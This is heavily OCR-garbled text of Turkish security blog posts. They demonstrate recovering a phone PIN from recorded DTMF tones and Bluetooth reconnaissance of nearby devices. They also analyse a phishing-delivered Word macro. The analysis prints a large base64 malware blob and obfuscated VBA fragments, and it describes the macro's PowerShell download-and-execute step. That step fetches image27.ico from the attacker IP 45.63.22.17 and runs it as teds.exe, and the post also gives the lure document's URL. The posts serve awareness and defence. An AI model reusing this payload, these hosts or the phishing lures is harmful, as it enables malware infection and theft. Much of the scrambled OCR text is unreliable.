kodunu ekrana tuslayarak durdurabilecegini soylemektedirler. Vatandasin giiveninini kazanarak yapilan bu dolandiricilikta, dolandiricilarin
yaptig1 islem tahmin edeceginiz iizere vatandasin ekrana girerken bastigi tuslarin olusturdugu DTMF sinyalini ¢almaktir.
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DTMF sinyalini ¢almak ve sayisal degere doniistiirmek dolandiricilar igin ne kadar zor olabilir diye diisiinmeye bagladigimda, ilk olarak
e-ticaret sitelerine girip “DTMF” anahtar kelimesi ile arama yapmaya karar verdim. Cok gecmeden DTMF sinyalini ¢6zebilen Arduino
modiillerinin 23 TL gibi uygun bir fiyata satildigini gordiim. ilan iizerindeki bilgilere kisaca goz attigimda da, asagidaki video ile pratikte
bu isin ¢ok da zor olmayacagini 6grendim.

W Arduino MUESTO Modii. X

& C t | @ vrunnitcom/d Juing-mi 2ucu-P15226291 e "EI:I A

Arduino MT8870 Modiili ( DTMF SES GOZUCU)

Cazip fiyat, iz kargo

MKIRMIC =
Misgaca Puses

w06 7

Standast ¢ Magaza Yesumlan (93

23,40 TL=

Majazaya Soru Sor

Madazanin Dijer Orlnkeri Tarmi
= Sepete Ekle ok e o
5110 LCD Modul

@ 19,68 TL

Arduing Ethamat Mod(i
HRS11105A WS100
3334

@, HuncHCSRL

| o Ultasonik Mesate
= 510 TL
g Poe Erpeitor Kadio
oo@Ra=En ® Forates st S (- Fos pKamars

= 18,15TL

a

Urun Bilgilen Taksit Segeneklen Urun Yorumian (0) Soru ve Cevap L]
Bu trine bakanlar bunlara da bakh

Arduine Rotary Encoder
Aynintilar I i
e <o . . " e BA 399TL
MTEST0 DTMF Decoder Denetlayici Ses Ses Gazme Kuruhs Telebon Modihi for_Arduing MCU Muz REDENIYLE Ahududu pi UNG MEGA2560
KAND 2 aciklamass. enboded karmagek frekans cozicd i miBST0ds  onboard 5 led gastergelert kolay gorintideme ¢ikig durumi  de besleme
gerlimi S| 45V- 5.5V) cabigma sicakhd- 40- 485 % ¢ jo sirbei geceri maksimumn 10mA.  peb boyutu: 25 2x25 dmm  bu gazme modik mebil
ve sabit teleton sesli arama hzme fonksiyonu icin tasaranmeg ardino kumlu. kullanmak da dier meul ave pic MSPA30 STM32 ARM7IS 1011 HEOS Arduing Blugtooh
FPGA/CPLD) gerektimez kablo, eklenebilic dodrudan unoimega2S6llnedeniyle kuruhi kullsnimi. 12 &jital ¢ikis decode mabil v sabit telefon tuglan{ Modil
0-9," W) bagka bir 4 dijilal ¢rkag( abed) kullanabilirsiviz™ dtmf arama’ yazihm kontroli 21,00 TL

hitp: /farduincbasics blogspol com 120 15/08/miBAT0-dtef-dual-tone-mulli-requency himl Bu adresten omek kod uygulamas: ve videoyu izleye
bilrsiniz
Toprak Nem Alglama

Badlant yemas: senek uygulamada soyledic Litfen badfant: geklinde dikkat edin Voltaj bagfartilanrs yanhy yapmaruz kara zaras vensbilic B SeesieMod
e Yk 60 TL

Isin igine modiiller ve kablolar girdiginde dolandiricilarin ¢ok da bu yolu tercih etmeyeceklerini diisiinerek baska yollar iizerine diisinmeye
basladim ve Automatic Call Recorder gibi ¢agri kaydi yapan akilli telefon uygulamalari aklima geldi. Uygulamay1 yiikleyip, caligtirdiktan
sonra esime kendimi aratip ekrana 1234 PIN kodunun tuslandigi ufak bir parodi hazirladim.
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1234

A
iz

Son olarak GitHub iizerinde kayit altina aldigim ses dosyasindaki DTMF sinyalini sayisal degere doniistiirmek igin program aramaya
koyuldum ve 4 y1l 5nce DTMF sinyalini ¢6zmek amaciyla gelistirilmis olan bu arag ile karsilastim. Ses dosyasi (dtmf.wav) {izerinde bu arac1
calistirdiktan kisa bir siire sonra esimin telefonundan ekrana tusladigim PIN kodunu (1234) programin ¢iktisinda gorebildim.

» dtmf-master » dtmf-master » v |l Search dtmf-master o
* [ Mame - Date modified Type Size !
dtmf-generator File folder |

# pygoertzel.py PY File 5KB

=| .gitignore Text Document 1 KB

# DTMF.py PY File IKB

H @] dtmfwav WAV File 1,989 KB

B dtmizip WinRAR ZIP archive 26 KB

# dtmf-decoder.py PY File 5KB

| README.md MD File KB

| touchtones.swf Shockwave Flash ... KB

Bl CAWINDOWS\system32\emd.exe

ert\Desktop\dtmf-master\dtmf-master>python dtmf-decoder. py

Sonug itibariyle ikna dolandiricilarinin giiveninizi kazanarak bilgilerinizi ¢almak i¢in ¢agri merkezlerinde kullanilan robotlar: taklit
ettiklerini ve arka planda ekrana tusladiginiz bilgileri DTMF sinyalleri {izerinden kolaylikla ¢alabildiklerini gériiyoruz. Giivenliginiz igin
giivenilirliginden emin olmadiginiz hig bir sisteme kart no, pin, miisteri no vb. bilgilerinizi telefon iizerinden tuglamayiniz.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

The post DTMF Hirsizli§1 appeared first on Siber Giivenlik Giinliigii.
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Mavi Tehlike

By Mert SARICA on May 2nd, 2017

Logosunu, Danimarka’nin ilk krali olan 10. Yiizyil Viking savascist Harald “Mavidis” Gormsson‘un bas harflerinin runik alfabesindeki
karsihigindan (# ve #) alan Bluetooth kablosuz ag teknolojisi, cep telefonlari ile 6nce cebimize, sonrasinda Bluetooth Low Energy (BLE)
olarak IoTler ile hayatimiza gireli epey oldu.

2000’11 yillarin ortalarina dogru, BlueSnarfing yontemi ile art niyetli kisilerin Nokia ve Ericsson marka cep telefonlarinda bulunan zafiyet
sayesinde Bluetooth {izerinden bilgimiz ve iznimiz olmadan mesajlarimiza, adres defterimizi ulasabildigini gordiik. Ardindan Bluejacking
yontemi ile hedef telefona vCard formatinda istenmeyen mesajlar gonderilebildigini, Bluebugging yontemi ile de bilgisayarimizin, cep
telefonumuzun art niyetli kisilerce kontrol edilebildigini 6grendik. Commwarrior zararli yazilimi ile Bluetooth’un atak vektorii olarak nasil
kullanilabilecegini tecriibe etmis olduk. Tabii ortaya ¢ikan tiim bu zafiyetlerin, kdtliye kullanimlarin temelinde Bluetooth’un ta kendisinin
degil aksine iireticiler tarafindan hatali kullanilmasinin (implementation) oldugunu unutmamamiz gerekmektedir.

Gecmisten giiniimiize donecek olursak, artik modern ve giincel akilli cihazlarda eskiden oldugu gibi Bluetooth, kesfedilebilir kipte calismryor.
Ornegin Android 6.0.1 isletim sisteminde (ve iOS’ta da benzer sekilde), diger cihazlarin sizin cihaziniza Bluetooth iizerinden baglanabilmesi
icin Ayarlar’dan Bluetooth meniisiine girmeniz gerekiyor. Durum bdyle olunca giivenlik ve mahremiyet adina ¢ok endise etmenize gerek
kalmryor. Giincel olmayan sistemlerde ise Bluetooth’u devre dis1 birakarak potansiyel tehlikelerden kaginabiliyoruz.

Peki ya evimizde kullandigimiz akilli, akilsiz internete baglanan nesneler (IoT) ? Bluetooth iizerine biraz diisiiniirken aslinda evimizde
kullandigimiz nesnelerin, akilli cihazlarin hirsizlara, art niyetli kisilere davetiye ¢ikardigmi gérdiim. Ornegin evimde, iizerinde Bluetooth
destegi bulunan ve her daim Bluetooth servisi acik (hata #1) olan akilli bir televizyonum var. Televizyonumu ne zaman a¢sam Bluetooth
iizerinden haberlesmeye acik konumda bekliyor ve baglanti kurulana dek adini ([TV]Samsung LED48 — hata #2) etrafa yayinliyor.
(broadcast)

Genellikle hirsizlarin hacking dongiisiinde de oldugu gibi bir eve girmeden once aktif ve pasif kesif ¢alismasi yaptiklarini biliyoruz. Gece
ise evin 1siklar1 yantyor mu ? Perdeler kapali m1 ? Zili ¢alinca kim o diye soran var m1 ? gibi gibi. Peki giiniimiizde Bluetooth teknolojisi
hirsizlar tarafindan nasil kétiiye kullanilabilir ?

Kisa mesafe teknolojisi olarak bilinen Bluetooth teknolojisinin aksine, sinifina (class) gére 100 metre mesafeye kadar haberlesme
saglayabildigini gorebiliriz. Parani UD-100 gibi bir aygit ve uygun anten ile bu mesafenin 600 metre ila 1 KM’ye kadar genigletilebildigini
diistindiigiimiiz de, art niyetli kisilerin uzak mesafeden bluetooth kullanan aygitlarimizi izleme hatta miidahale etme imkani oldugunu az
¢ok tahmin edebiliriz.

Ozellikle isaret giicii gostergesi (RSSI) bilgisinden faydalanarak etrafinizda bulunan bir Bluetooth aygitin size ne kadar yakin oldugunu
kestirebilirsiniz. Kali Linux ile birlikte gelen ve 12cap‘ten faydalan BlueRanger araci da size bu konuda yardimci olabiliyor.

Bubilgiler 1s1¢1nda iizerinde Kali Linux ¢aligan ve Parani UD-100 USB adaptorii takili olan bir Raspberry Pi 3 ile baz1 araglardan faydalanarak
ufak testler yapmaya karar verdim. ilk olarak Blueranger aracina Parani UD-100 USB adaptoriiniin olduk¢a yakininda tutarak, bluetooth
ekrani agik olan Android 6.0.1 ¢alisan cep telefonumun MAC adresini verdim. Ardindan salonun diger ucunda bulunan akilli televizyonumun
MAC adresini verdigim de ortaya ¢ikan sonuglar beni tatmin etti.
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 Kal (WIFI) |« Kali (WIFI) (1) x

CCCe(1CuCe(rR)aln)glelrl))

By JP Dunning (.ronin)
www. hackfromacave. com

Locating: Hack 4 Career (0B:21:EF:| )
Ping Count: 1

Proximity Change Link qQuality

FOUND 255/255

Range

| -

e

b Kali (WIFI) |« Kali (WIFI} (1) x

(C(B(T(ule(r)aln)glelrll)

By 1P Dunning (.ronin)
www. hackfromacave. com

chatiﬂg: [Tv]samsung LED48 (50:85:69: )
Ping Count: 15

Proximity Change Link quality

NEUTRAL 227/255

Range

T

|

Tabii isi biraz daha ileriye gotiirlip etraftaki Bluetooth cihazlardan, aygitlardan daha detayl bilgi almaya karar verdim ve bu defa Blue Hydra
aract ile ufak bir test gerceklestirdim.

Blue Hydra araci sizma testi cihazlart ile adint duyurmus Pwnie Express ekibi tarafindan gelistirilmekte olan, tespit etigi Bluetooth
aygitlary, cihazlart ve topladigi bilgileri arka planda veri tabaninda saklayabilen oldukga faydal bir aractir.

Raspberry Pi’yi evde camin kenarma yaklastirdigimda, Blue Hydra sayesinde etrafimda ¢ok sayida Bluetooth cihaz oldugunu iiretici, tiir,
stirtim, igaret giicli gostergesi (RSSI) bazinda gorebildim. Hatta RSSI bilgisi sayesinde ya {ist ya da alt kattaki komsumun 55 ekran Samsung
televizyonu oldugunu tespit edebildim.
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@ www.mertsarica.com | % Kali (WIFI) > | % Kali (WIFI) (1) | @ DO 4 b

SEEN A | VERS ADDRESS RSST | AAME MANUE TYPE A
+13s | CL4.0 50:85:69: -50 [Tv]samsung LED48 | SamsungE video Display and Loudspeaker
+13s | CL4.0 50:85:69: -65 [Tv]samsung LED55 | Samsunge video Display and Loudspeaker
+165 | BTLE 43:A6:32: -66 Apple, Inc.
+16s BTLE C8:69:CD: -80 Apple
+16s BTLE 78:BD:BC: -78 SamsungeE
+16s BTLE AQ:ED:CD: -76 Apple
+165 BTLE 24:4B:03: -70 SamsungE
+16s BTLE 78:BD:BC: -71 Samsunge
+16s BTLE 24:48:03: -68 SamsungeE
+165 BTLE 05:DF:FC: -80 Apple TV
+16s BTLE 70:73:CB: -77 Apple
+16s BTLE 1€:92:01: -73 Apple TV
+16s BTLE 58:DA:49: -82 apple, Inc.
+16s BTLE 14:99:E2: -76 Apple
+17s BTLE 77:7F:80: -79 iBeacon
+17s BTLE 14 :BB:6E: -79 samsunge
+17s BTLE 34:C0:59: -7 Apple
+17s BTLE 18:EE:69: -79 Apple
+17s BTLE FC:F1:36: -80 Samsunge
+17s BTLE AQ:ED:CD: -79 . Aﬁp'le
+17s | BTLE FO:13:C3: -74 NONightowl_IP shenzhen
+17s BTLE 68:64:4B: -80 Apple
+18s BTLE B8:78:2E: -82 Apple
+185 | BTLE 7C:D1:C3: -80 Apple
+19s BTLE 14:99:E2: -80 Apple
+19s BTLE 49:34:7E: -80 sony Corporation
+19s BTLE FC:8F:90: -77 Samsunge
+19s BTLE BC:14:85: -77 Samsunge
+325 | CL/BR | 10:08:B1: -67 PC HonHaiPr Laptop
4+33s CL/BR 00:17:53: -65 NforeTec Hands-free Device
+35s CL4.0 AB:54:B2: -65 TvBluetooth Wistronn video Display and Loudspeaker
+37s BTLE 74:52:43: -77 Apple, Inc.
+38s BTLE B0:34:95: -79 Apple
+39s BTLE F8:04:2E: -81 SamsungEe
+39s BTLE 6F:C6:1D: -83 unknown
+40s BTLE 5C:DC:96: =77 Arcadyan
+41s BTLE 78:BD:BC: =75 Samsunge
+82s BTLE FC:8F:90: -75 Samsunge

EXTTING coaiaws
root@kali:~/blue_hydra/bin#
root@kali:~/blue_hydra/bin#
v

ssh2: AES-256-CTR 43, 29 43Rows, 125Cols VT100 CAP NUM

Bu bilgileri ben toplayabiliyorsam herkes toplayabilirden yola ¢ikacak olursak, art niyetli kisilerin, teknolojiden faydalanabilen hirsizlarin
bu yontem ile kendileri i¢in degerli olabilecek bilgileri toplayabilecegini 6grenmis oldum.

Giivenliginiz, mahremiyetiniz adina cep telefonundan, evinizde kullanmis oldugunuz nesnelerin internetine (IoT) kadar tiim cihazlarinizda,
sistemlerinizde kullanmadiginiz siirece Bluetooth servisini kapali tutmanizi ve ¢evrenizdekilere de bunu tavsiye etmenizi 6neririm.

Bir sonraki yazida goriigmek dilegiyle herkese giivenli giinler dilerim.

The post Mavi Tehlike appeared first on Siber Giivenlik Giinliigii.

Bir APT Girisimi
By Mert SARICA on April 3rd, 2017

Her gegen y1l yasanan ciddi siber giivenlik ihlalleri ile bagkalarinin yasadiklarindan ders ¢ikaran kurumlar, katmanli giivenlik mimarisine daha
fazla 6nem vermeye, davranigsal analiz, izleme yapan teknolojilere ve ileri seviye siber saldirilari tespit edebilmeleri, miidahale edebilmeleri
admna ¢alisanlarina daha fazla yatirim yapmaya basladilar. Yillar iginde klasik giivenlik yaklasiminin (antiviris, firewall, ips vs.) siber
saldirganlart tespit etmekte zayif kalmasi, engelleyememesi, kurumlart daha fazla kaynaktan kayit (log) toplamaya (SIEM) ve bunlardan
anlamli, degerli alarmlar tiretmeye (korelasyon) kanalize etti. Eskiden tehdit raporlarinda okunan ileri seviye siber saldirilar (APT), kurumlar
icin uyanilamayan bir kabusa doniismeye bagladi.

Yazili ve gorsel medyadan da duyuruldugu lizere gectigimiz aylarda Akbank, Kamuoyu Aydinlatma Platformu (KAP) iizerinden siber
saldirtya ugradigini duyurdu. Gelisme ve sonug kisimlari farkli olsa da 2014 yilinda HSBC Tiirkiye de bir siber saldir1 yagadigini kamuoyu
ile paylasmisti. Bugiin bakildiginda diinyada oldugu gibi iilkemizde de bankalarin (medyaya yansimayanlar da dahil) ileri seviye siber
saldirilarla kars1 karsiya oldugu yadsinamaz bir ger¢ek bu nedenle Carbanak, Odinaff gibi ileri seviye siber saldirilar ile finansal kurumlardan
1 milyar dolara yakin para ¢alan organize siber sug orgiitleri ile miicadele edebilme adina regiilasyonlarin ve giivenlik standartlarinin da
otesinde, teknoloji, egitim ve insan kaynagi konularinda finans kurumlarinin, bankalarin ¢aligmalarina, yatirimlarina hiz kesmeden devam
etmeleri gerekmektedir.

Giinliimiizde bir banka hackleniyor ise bunun ardinda yolun basinda olan 3-5 geng arkadasin olma ihtimali oldukga diisiik oldugu i¢in, “Benim
antiviriis bile zararli makroyu tespit ediyor.” gibi yorumlarla bu tiir ileri seviye siber saldirilar1 basite indirgemek ¢ok dogru bir yaklagim
olmayacaktir. Amma velakin, ugak kazalarinda oldugu gibi zincirleme yapilan hatalarin sonucunda bu durumla karsilasildig1 gergegi de,
her hacking vakasi sonrasinda dikkatle irdelenmesi ve herkes admna ders cikarilmasi gereken 6nemli bir konudur. Ozellikle bankalarin
hacklenmesinden sonra her kriz bir firsat dogurur edasiyla yapilan {iriin yerlestirmelerin disinda, kimi hakli kimi haksiz yorumlar okudukga,
bu yazi ile basariya ulasamayan bir APT girisimini ve bundan sonra haberlere konu olan vakalarin okurlar tarafindan daha objektif bir gozle
degerlendirilmesine, yorumlanmasina da yardimci olmaya karar verdim.
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http://www.mertsarica.com/mavi-tehlike/
http://www.mertsarica.com
http://www.mertsarica.com/bir-apt-girisimi/
http://en.wikipedia.org/wiki/Security_information_and_event_management
http://en.wikipedia.org/wiki/Advanced_persistent_threat
http://www.akbank.com/
http://www.kap.org.tr/tr/Bildirim/572625
http://www.hsbc.com.tr/tr/
http://www.milliyet.com.tr/hsbc-turkiye-ye-siber-saldiri-bilisim-1969049/
http://securelist.com/blog/research/68732/the-great-bank-robbery-the-carbanak-apt/
http://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks

Bu hikaye, London School of Economics iiniversitesinde bir akademisyenin e-posta hesabinin hacklendigi varsayimi iizerine baglar. Art
niyetli kisi tarafindan hedef kurumdan 6zenle segilmis tek bir kisiye e-posta yolu ile sosyal miihendislik saldiris1 gergeklestirilmeye caligilir.
Bu saldirida hedef alinan kisiyi sliphelendirmeme adina ilk olarak bir tane e-posta gonderilir. E-postay1 gonderen kisinin gergekten o
iiniversitede ¢alisan bir akademisyen olmasi, e-posta adresinin (w.frost@]Ise.ac.uk) gergekten o kisiye ait olmasi, gonderilen ilk e-postada
herhangi siipheli bir ek, baglant1 adresi (link) bulunmamasi ve kelimelerin 6zenle segilip, e-postanin oldukg¢a iyi kurgulanmis olmasi, art
niyetli kisi veya kisilerin motivasyonunu net olarak ortaya koymaktadir. Art niyetli kisi tarafindan génderilen son e-postada, hedef kisiden
bir formu indirmesi (http://moya.bus.miami.edu/~emil/Documents/Application_Form.doc) ve doldurmasi istenir. Alinan 6nlemler sayesinde
hedef kisiye ulasamayan bu e-posta, FireEye giivenlik sistemi basta olmak {izere ¢ok sayida sistemde alarmlan tetikleyerek, siipheli e-
postanin kurumsal SOME ekibi tarafindan manuel olarak incelenmesi siirecini baglatir.

My name 1s ., I work at the London School of Economics

I am the head of the jury panel of contests organized by The Banker: http-/www thebanker com/
Jury panel consists of representatives of several leading universities and also high-qualification experts from the financial corporations.
Recently, one place in the expert group has become vacant

We are looking for a consultant that could help us to assess candidates for Islamic Bank of the Year Awards: hitp://www thebanker com/Awards/Islamic-Bank-of-the-Year-Awards
They must have the expenience in banking service and sufficient knowledge at the specifics of the region.

It's great honor for me to mvite you to join our team.
Are you interested in participation?

Best,

The Banker Awards contest is held not the first ume. Best scientists of the University College London, University of Miami School of Business Administration and other universities are the main experts.
Jury panel 1s regularly updated
External advisor group consists of 20 people — there 1s one vacant place now

You will have to answer the set of g reg 2 of Islamic Bank of the Year Awards. It is essential for more precise of candidates in each

At the average, it may take about 2-3 hours a week. We provide flexible work hours and remote work opportunities.

In return, you will get the certificate of the honored contest expert, and prospect for further development in this direction.
In next 3 weeks, we will need your assistance. If 1t goes well, we will proceed cooperation in 2017

What do you think?

Best,

Foremost, you have to fill out and send me the Expert application form:
hittp://mova.bus.miami eduw/~emil/Documents/Application Form.doc

Further, I will prepare the NDA. Afier that, [ will send vou first questions.

Best,

Application_Form.doc dosyasini indirip Microsoft Office yazilimi ile agtiginizda, “Some active content has been disabled / Bazi etkin igerik
devre dis1 birakild1” uyar1 mesaji ile karsilagiyorsunuz ancak Microsoft Office Makro Analizi baglikli yazimda oldugu gibi kolay bir sekilde
Macro (view -> macros -> view macros) meniisiinden makroya dair bir igerik géremiyorsunuz ¢iinkii bu zararli makro, Dridex bankacilik
zararli yazilimi salgininda oldugu gibi ActiveMime objesi (zlib ile sikistirilmig makro iceren OLE) olarak dosyada yer aliyor. VirusTotal
sitesine Application Form.doc dosyasini yiiklediginizde ise herhangi bir antiviriis yazilimmin bu dosyayi zararli olarak tespit edememesi
(0/53) haliylen sizi pek sasirtmiyor.
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http://www.fireeye.com/detect-and-prevent.html
http://www.mertsarica.com/microsoft-office-makro-analizi/
http://securingtomorrow.mcafee.com/mcafee-labs/banking-malware-dridex-arrives-via-phishing-email/
http://en.wikipedia.org/wiki/Zlib
http://en.wikipedia.org/wiki/Object_Linking_and_Embedding
http://www.virustotal.com/

IR = Application_Form.doc - Word ? B - x

FILE HOME INSERT DESIGM PAGE LAYOUT REFEREMCES MAILINGS REVIEW VIEW Sign in
-] o P — e o # Find -
- - R " R e T a 7 -
D Calibri 16 A A |ha ISR | B AaBbCcDe AaBbCcDe 4aBbCel 4aBh ab- i
v | %acReplace
Paste o 2 | A\ . abe .= = s =
i ¢ (B T U -abex x AN-2- A = = T Normal | TMNoSpac.. SubtleEm.. IntenseE.. [z [} Select -
Clipboard Font [F} Paragraph [F} Styles ] Editing -
| SECURITY WARNING Some active content has been disabled. Click for more details, Enable Content X

Form number: 000034/16

Expert Application Form

This form is processed automaticolly. Please use appropriate fields for your answers.

Name x
Phone Iﬁ
E-mail m

Q1. How long have you been working in the Banking field?

s | Lessthana s | 1lyear- 3 years s | 3years-7years w | Morethan7
] 1= 1< I B o=

Q2. What is your specialty?
I

Q3. How would you rate you team working skills?

|i| Very good |i| Good |i| Satisfactory m Fair

Q4. How much time can you spend on the Cooperation tasks per week?

| 2-3 hours | 4-6hours s« | 7-9hours w | Morethan9
] ] ] [ paoce

Q5. Do you have any professional certificates?

Mo

Application_Form,doc 1,503 characters (an approximate value],

ten
Microsoft Office Security Options
@ Security Alert - Macros & ActiveX
Macros & ActiveX DoC
Macros and one or more ActiveX controls have been disabled. This active content
might contain viruses or other security hazards, Do not enable this content unless
you trust the source of this file,
Warning: It is not possible to determine that this tent came from a rthy
source. You should leave this tent disabled unless the tent provides critical
functionality and you trust its source.
Tl More information hsv
ne| File Path: C\..p\malware-apt\malware\1be9799d35fedfcbacb8a95c5e50262e. doc
mne @ Help protect me from unknown content (recommended)
ai () Enable content for this session
H
I E th
E
W
W Open the Trust Center gk J [ fancel —
| Tare onnd T T Gond T~ T Gaficfarfang =T Fair
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’i'!mvmscmforf‘zc x g

« C i & https: //www.vinustotal .com/en, 2c14¢381 223620583 3fes
H Apps For quick access, place your bookmarks here on the bookmarks bar. [m i
& Cornrmunit Documentation FAQ About ™ English
SHA2SE 2¢14c3812266e0/5633ee7 9439910341 d3b26ded54762632c0c3M 1975354
Detection ratio: 0753

Analysis date 2016-12-09 11:59:53 UTC (21 hours, 4 minutes ago )

M Anslysis | @ Additional information ¢ Comments () Q) Votes

Antivirus Result Update
AlYac -] 20161208
AVG -] 20161209
Avware @ 20161209
Ad-Aware ] 20161209
AegisLab -] 2MB1208
AhnLab-Y3 L] 20161208
Alibaba 7 261208
Antiy-AvL ] 261208
Ascabit ] 2161208
Boast (] 2161208
Buira (no cloud) (-] 2161208 T

Application Form.doc dosyasint Notepad++ editorii ile actiginizda, gémiili xml, jpg, html, png dosyalar1 disinda editdata.mso
dosyast hemen dikkatinizi ¢ekecektir. Base64 ile gizlenmis bu veriyi agip daha sonrasinda REMnux ile gelen oledump araci ile
incelediginizde makroya kolaylikla ulasabiliyorsunuz. Makroyu herhangi bir editorle incelediginizde karmasiklastirilmis (obfuscated)
oldugunu, sadelestirildikten sonra ise bunun bir powershell betigi olup, http://45.63.22.17/image27.ico dosyasi olarak indirildikten sonra
teds.exe olarak adlandirildip galistirildigini gérebilirsiniz.

[ C:\Users\Mert\Desktop\malwares\Application_Form.doc - Notepad++

File Edit

sBHERLE shilhle| bl asx|BE

Search View Encoding Language Settings Macro  Run  Plugins  Window 7

[= Application_Form doc E3 |

1B BED B

= FeR B

X

(7]

Content-Location: file:///C:/341212B1/Application Form new Actl files/editdata.mso

Content-Transfer-Encoding: base64
Content-Type: application/x-mso

QWN0aXZ1TW1tZQARAFARARRL/////WARB/BSKQAABALARAQARRARARARAGARALRSARR4NOXEDVgb
#5n/TEi AQAREDTh+5LyAbY1 PayUBAgdb4svY g YDMSQINYu0 INn6s i QMTupYmL 511 £3X015at 3cP
EvefONRtSNI6XHvVPBAdNj2tzrdNcreTpnZ267bkElzj9eELbEBP/nd1ZGGRKS6P39GRELs/s/tT2
38z0vPPOzDuDdigB80+vSw0+ufQVdc2xDGVvIGECpKZul 4GuTDiBCmEhvz8,/Ng9Pzfjr+o0448QCmkb
auFgh0DaPAWCDETIghDQI eqoGCOkQMiBkKiaksiCagLASQ aEHAL rIKyGKAthDYS1ENZEWA /hFgi3
QtohoYeQByEfQoGES RA2QdoMwTETMLF3HoEgi1EMogbI FygSBASERwMdy /HW/ +aEMh+ I tEWz5g
IFwi6Ci1Q8ENi1U0aaHPJ92Ea1n35VAREd/hNICnEXk/ gkWut /TEpYcCRiD1+ZgbPFe9svec8yAdl
fifPx0vGvDedjha2A3nmhBFFUD63gRgMogCS5Hd7ssRZhjozDpl++2ecT1cE81KpgogeTX0DzIvRvl
f9K/btb//9YP/3I0TvtOnINbnkOWIozHULE4071Jg05g5PmRVguGsB61RKIHIXc2aR8 Zkp040x1n
13wep6eVgP5et516R1I1LTEfSWbcZ cyMuBdE2 TDaasQF4nGFMagX9qgGl05J0XvAVv1IaoUJxIsZvRLD
i1D3jn=ssFovVHMmm3IWUgRTqutR2kanMGtsFj sFocKkLXMUnApgK Lt G3Z22+0CcO0GEXdTUe jnS2dFVp T
tOaylsX8vaigpbmBdw3E4gGAGPOFgghHg/BIw3s5QJICDEkwDE6vLQgecREScYMxMezTulckaGTTrMi
Lbnrlll3QgVHE1lr6+nzurPveW1BfHDgiC+dE/2fiGz54Im/HPVZU3+i0t9jr51F5baCrVLAIZErS
2vgGeni/66ArLtnjSdbR/viX+1FEDPCNPr+Eorx5yFFR2023CwUCoaimtRvt8bkjoWioD8X4dgBY
kTyoubWxcWddg4DEu,/e0t5TVHxuaC95vHGn1hfIyo4VveR3+Cd/ =6+mNiJG]) yvBREgTLw3XvaG511
OW30REZcuwelo0ZtfVMU2ZzQf09I9chebmloEEobRiZ0OxmHBVeqAZi2 1WCesjjoTX2+prbV/TGrc
47damk21t/DOyPObt /wGbUXSwiT6251iJYzg+YuD0jlgsxwosXx35udIJpR=x9qt yCHoundn9gGrly
a6tclhegglCWlt=ss9ajUXtlYVirrQra6lpelsglxbgnetstlrG0cr4rdHpUi0e8DIJIVeltyscrhdR
TOxuDrlFP+rukALh7s5QTETJKLPE3dhRNiIQNeUYS0TXT+XHOCiprSP/ gpbXG98bLlcM/ JPfovnruc
nin7¥wet/CoX6MIr8IUOry3aDEP1QEARxnagtNzpjIT74C2QUza+f9pNR9I=SejwYf2ntt/TH3vet
TO0kF3216BAn47rNOLVA/BrlhXPJD4+WOn+XnadsfQcZH3vR4e+2xsT4mn5ixfIQuclKPY /npaflUh
powlSg0UYocvmIpWIntYk+cPEiGrygbhSXDAConS9fuVkXCeakoRh5rAWi 9o0ewerB0sJg/ rl+yWat
ybodV2axWE+QHhLo 902 ryhXghsVYor60XGhrry+XggneRkM+tghng8zDaa8BrexCuz8KofwhGa9ta
zn¥sOvmBras/I1PMZcCiEMACEuSplAws 6pWg+ZN31iZVZwboHv,/ vkT+JPEY69/ tpiUaPhyO6H+592
3viDuwSeq0KSSWIDdvOul884xz//0L4nZn/ TvJFOSULO0KloYrigdlYYQceQqLUAdoozY0ZLUKJbzd
V2Jb5350J9090vUEvWACAVT JEQiQ4 LAKNACkGENTb TNEQSaSshxx8bEyy1LC11/ /2M3sY8kTq0rd
imUy¥Y3kC4T1E+Mob8+TC2YDkuAnPOnjwiKob860IDaogWGSSPtCaDRRCHNE jXiXJDT7iC9ca8CsID
JrBcazC8csKDICzXGAYPLIJcNE6iCU3TDRIJmAR0SKG2zYaeaAVFCzepDGISVIMBI 9ysMchj 4ZHCTRgD
KMOKFbAulxgblUoojwVIWIXraTHIIi0113eZfrGoEIESrLYDkGQUIWZikqCU2 TpMEljauxQeWIfr
EEvTg6JY&00awWEFVGespek0 ZwCEqTWSdrhPwFhSgmZLPcSGnUHM3LEH+RRIZbtoz 6NyvEeWSukptuve
WSbGMJISOZ1unEzA0g9KPbevlAeaZNnlUsC3XAHkLzSmPMLbEGxbeLgOXtulUUzTDEScHPtpzaGVaF
PJLal7f8xeFFHpXtywlCDMshD/L25¥YYghlUl1Txn2méne DCpAudngSEMAQT 6c6nU3cyWUWXRPwW+JIM
gsapM+1FEnt/ 2bf ZWhHxDNrz1XJygN24gGgcj 6LZCiIsIEhzWyS 50 foFpNRVaEnBEkNAe 2ZHBIHVU
sGWoSThMIkptgnUpx03B2ZC1EQ/ JeWnTF] 25pZuT/ ++PzoX40VipHoM/hP5edkiN6TtuMSfzdEDAL

45 T ET T M T ET ™ £ Tl § ETT s 1 T F el Tl el 4 W T Mrr s EVTTA TN TTY T B A v 23 arfe £ T S Mol €65 T

No/rr_rlEI text file length: 214311 lines: 3.927 Ln:3923 Col:30 Sel:4]1

Windows (CRLF)  ANSI INS
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http://notepad-plus-plus.org/
http://remnux.org/
http://blog.didierstevens.com/2014/12/17/introducing-oledump-py/

A root@remnux: /home/remnux/Desktop/malware =
File Edit Tabs Help
root@remnux:/home/remnux/Desktop/malware# oledump.py editdata.mso o
513 'PROJECT'

2: 41 'PROJECTwm'

3: M 18168 'VBA/ThisDocument'

4: 4742 'VBA/_VBA_PROJECT'

5: 776 'VBA/dir'
root@remnux:/home/remnux/Desktop/malware# oledump.py -s 3 -v editdata.
mso > editdata.txt
root@remnux :/home/remnux/Desktop/malware# [

=

AP wE [ FREEEL

editdata.txt - SciTE

File Edit Search View Tools Options Language Buffers Help

1 editdata.txt

tehkjdgjas(@)
tehkjdgjas(1) 1

ghdalln = "://';$hK]Gksd="'Net. "' ;$oqwehd="Web"
tehkjdgjas(2) "

tehkjdgjas(3)

"g"

wyn

qwuehhdnndnd = asuidk + jahdk + ughnnnnx + gyisdl + ghdalln
upn

tehkjdgjas(4)
tehkjdgjas(5)
tehkjdgjas(6) an

tehkjdgjas(7) b

igwhdnnc = "Client'; (New-Obje"

tehkjdgjas(8) = "m" I

tehkjdgjas(9) = "N"

tehkjdgjas(18) = "h"
tehkjdgjas(11)
tehkjdgjas(12)
tehkjdgjas(13)
tehkjdgjas(14)
tehkjdgjas(15)
tehkjdgjas(16)
tehkjdgjas(17)
tehkjdgjas(18) '

